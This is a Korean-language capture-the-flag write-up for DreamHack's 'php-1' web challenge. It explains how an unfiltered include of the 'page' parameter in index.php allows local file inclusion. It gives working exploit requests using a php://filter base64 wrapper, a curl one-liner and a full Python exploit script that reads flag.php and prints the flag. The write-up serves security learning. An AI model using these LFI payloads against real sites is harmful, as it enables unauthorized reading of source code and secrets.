문제: DreamHack — php-1 분류: Web 난이도: 🥉 Bronze 1 FLAG:
DH{bb9db1f303cacf0f3c91e0abca1221ff}
파일을 올려놓고 목록에서 골라 보는 관리 페이지다. 목록 링크를 눌러 파일을 열람하는 경로엔 필터가 촘촘한데, 정작 그 페이지 자체를 불러오는 경로엔 필터가 하나도 없다.

문제 개요
| 항목 | 내용 |
|---|---|
| 문제명 | php-1 |
| 난이도 | 🥉 Bronze 1 |
| 분류 | Web |
| 스택 | PHP · Apache/2.4.18 (Ubuntu) |
| 제공 | index.php / list.php / view.php / main.php 소스 + 라이브 서버 |
| 핵심 취약점 | page 파라미터로 들어가는 LFI — file 파라미터의 필터가 page엔 적용되지 않음 |
풀이 흐름은 단순하다. 목록 페이지로 업로드 디렉토리에 flag.php가 있다는 걸 확인하고, 열람 페이지의 필터에 막히면 페이지 자체를 불러오는 include() 쪽으로 방향을 튼다.
🧩 배경 — PHP include()와 php://filter
PHP의 include($path)는 $path가 가리키는 파일을 그 자리에서 파싱해 실행한다. $path에 사용자 입력이 그대로 들어가면 서버의 임의 파일을 실행하거나(로컬 파일 포함, LFI), 아예 다른 프로토콜 핸들러를 붙일 수도 있다.
PHP는 파일 경로 자리에 일반 로컬 경로 말고도 php:// 스트림 래퍼를 받는다. 그중 php://filter는 "이 파일을 열되, 내용을 필터에 통과시켜 달라"는 요청이다.
php://filter/convert.base64-encode/resource=대상파일이 래퍼가 붙으면 resource= 뒤 파일은 PHP 코드로 실행되지 않고, base64로 인코딩된 텍스트로 반환된다. include()는 그 결과를 다시 파싱하려 하지만 <?php 태그가 없는 순수 base64 문자열이라 그대로 화면에 echo된다. 결과적으로 실행이 아니라 소스 코드 그 자체를 얻게 된다.
이 문제는 include()를 호출하는 지점과, 파일을 "열람"해 보여주는 지점이 서로 다른 파라미터를 쓰는데 필터는 한쪽에만 걸려 있었다.
🔬 코드 정찰
제공된 소스는 넉 장이다. index.php가 라우팅 겸 뷰 로더다.
<div class="container">
<?php
include $_GET['page']?$_GET['page'].'.php':'main.php';
?>
</div>page 파라미터가 있으면 $_GET['page'].'.php'를, 없으면 main.php를 include한다. 검사가 전혀 없다. page=list, page=view 둘 다 이렇게 로드된다.
list.php는 업로드 디렉토리를 스캔해 링크를 뿌려준다.
$directory = '../uploads/';
$scanned_directory = array_diff(scandir($directory), array('..', '.', 'index.html'));
foreach ($scanned_directory as $key => $value) {
echo "<li><a href='/?page=view&file={$directory}{$value}'>".$value."</a></li><br/>";
}실제로 열어봤다.

flag.php와 hello.json 두 개가 있다. 이름부터 목표가 뭔지 알려준다. 문제는 이걸 어떻게 여느냐다.
view.php가 실제 열람 로직이다.
$file = $_GET['file']?$_GET['file']:'';
if(preg_match('/flag|:/i', $file)){
exit('Permission denied');
}
echo file_get_contents($file);file 파라미터에 flag(대소문자 무관)나 : 가 하나라도 들어가면 그 자리에서 끊는다. 목표 파일명 자체에 flag가 박혀 있어서 경로를 있는 그대로 넘기면 바로 걸린다.
🐛 삽질 — file 파라미터로는 답이 없다
가장 먼저 list.php가 만들어준 링크 그대로 눌러봤다.
▶🐛 삽질 1 — file=../uploads/flag.php, 'flag' 문자열에 걸림
GET /?page=view&file=../uploads/flag.php
preg_match('/flag|.../i', ...)가 파일명 안의 "flag" 자체를 잡아낸다. 대소문자를 바꿔도(FLAG.php, FlAg.php) /i 플래그 때문에 소용없다.
그럼 flag라는 글자를 아예 안 쓰고 php://filter로 우회하면 어떨까 싶어 시도했다.
▶🐛 삽질 2 — file=php://filter/…, 이번엔 콜론에 걸림
GET /?page=view&file=php://filter/convert.base64-encode/resource=../uploads/flag
php://filter 자체에 "flag" 글자가 없어도, : 하나가 정규식의 두 번째 조건(|:)에 걸린다. 스킴 구분자 콜론을 빼면 래퍼 자체가 성립하지 않으니, file 파라미터로는 이 길이 완전히 막혀 있다.
두 번 다 막히고 나서야 view.php만 쳐다보고 있었다는 걸 깨달았다. file은 view.php 안에서만 검사된다. 그런데 애초에 view.php를 불러오는 것도, list.php를 불러오는 것도 전부 index.php의 page 파라미터를 거친다. 그 page 쪽엔 아무 검사가 없다.
💣 핵심 — page는 필터를 거치지 않는다
view.php의 필터는 file 변수 하나만 본다. page 변수는 존재 자체를 모른다. 그리고 index.php의 include $_GET['page'].'.php'는 그 자체로 완전한 LFI 진입점이다.

여기서 걸리는 건 .php가 자동으로 붙는다는 점 하나다. page=../uploads/flag를 넘기면 서버는 ../uploads/flag.php를 include한다. 마침 목표 파일 이름이 정확히 flag.php라서, 이 자동 첨부가 방해가 아니라 딱 맞아떨어진다.
그대로 include하면 PHP 코드가 실행돼서 $flag = '...' 대입문은 화면에 아무것도 안 남긴다. 그래서 php://filter/convert.base64-encode를 page에 태운다.
page = php://filter/convert.base64-encode/resource=../uploads/flag여기에 index.php가 .php를 붙이면 최종적으로 resource=../uploads/flag.php가 완성되고, include()는 이 문자열 전체를 스트림 래퍼로 열어 flag.php의 바이트를 실행 없이 base64로 돌려준다.
🎯 익스플로잇
실제로 요청을 보내봤다.
GET /?page=php://filter/convert.base64-encode/resource=../uploads/flag
본문 가운데에 base64 문자열이 그대로 찍힌다. 터미널에서 같은 요청을 보내 문자열만 뽑아 디코딩했다.
curl -s "http://host3.dreamhack.games:22471/?page=php://filter/convert.base64-encode/resource=../uploads/flag" \
| grep -oE "[A-Za-z0-9+/=]{40,}" | base64 -d
$flag = 'DH{bb9db1f303cacf0f3c91e0abca1221ff}';가 그대로 나온다. view.php가 그렇게 지키려던 문자열이 index.php 쪽에서는 아무 저항 없이 새어나갔다.
🚀 Full Exploit
정찰부터 디코딩까지 한 스크립트로 묶었다.
#!/usr/bin/env python3
# index.php 의 include($_GET['page'].'.php') LFI를 php://filter 로 소스만 읽어낸다.
import base64
import re
import sys
import urllib.parse
import urllib.request
BASE = sys.argv[1] if len(sys.argv) > 1 else "http://host3.dreamhack.games:22471"
def read_via_page_lfi(target_no_ext):
# index.php 가 뒤에 '.php' 를 자동으로 붙이므로 확장자 없이 넘긴다.
wrapper = f"php://filter/convert.base64-encode/resource={target_no_ext}"
url = f"{BASE}/?page=" + urllib.parse.quote(wrapper, safe="")
html = urllib.request.urlopen(url, timeout=10).read().decode()
m = re.search(r"[A-Za-z0-9+/=]{40,}", html)
return base64.b64decode(m.group(0)).decode() if m else None
src = read_via_page_lfi("../uploads/flag")
print("[*] ../uploads/flag.php 소스:")
print(src)
flag = re.search(r"DH\{[^}]*\}", src)
print("\n[+] FLAG =", flag.group(0) if flag else "(not found)")
[+] FLAG = DH{bb9db1f303cacf0f3c91e0abca1221ff}📝 결론
같은 값을 다루는 진입점이 여러 개면, 필터도 그 개수만큼 필요하다.
view.php의 개발자는 file 파라미터로 임의 파일이 읽히는 걸 알고 정규식으로 막았다. 그런데 그 페이지 자체를 불러오는 index.php의 page 파라미터가 사실상 같은 능력(임의 파일 include)을 가지고 있다는 걸 놓쳤다. 검사를 "화면에 결과가 보이는 지점"에만 두면, 그 앞단의 로더는 그대로 열려 있는다.
php://filter는 실행을 우회해 소스를 읽는 표준 수단이다.
LFI가 있어도 대상이 PHP 파일이면 include 시 코드가 실행되어 원하는 문자열이 화면에 안 남을 수 있다. php://filter/convert.base64-encode/resource=로 감싸면 실행 대신 인코딩된 원문을 그대로 받아, 실행 결과가 아니라 소스 자체를 확보할 수 있다.
블랙리스트는 검사 대상 자체가 우회 가능한 문자열이라는 걸 잊기 쉽다.
/flag|:/i 하나로 파일명과 스트림 래퍼를 동시에 막으려 한 시도는 나쁘지 않았지만, 그 필터가 붙어야 할 자리가 한 곳이 아니라는 걸 확인하지 못하면 다른 진입점에서 그대로 뚫린다.
Comments
댓글
댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)
댓글 불러오는 중…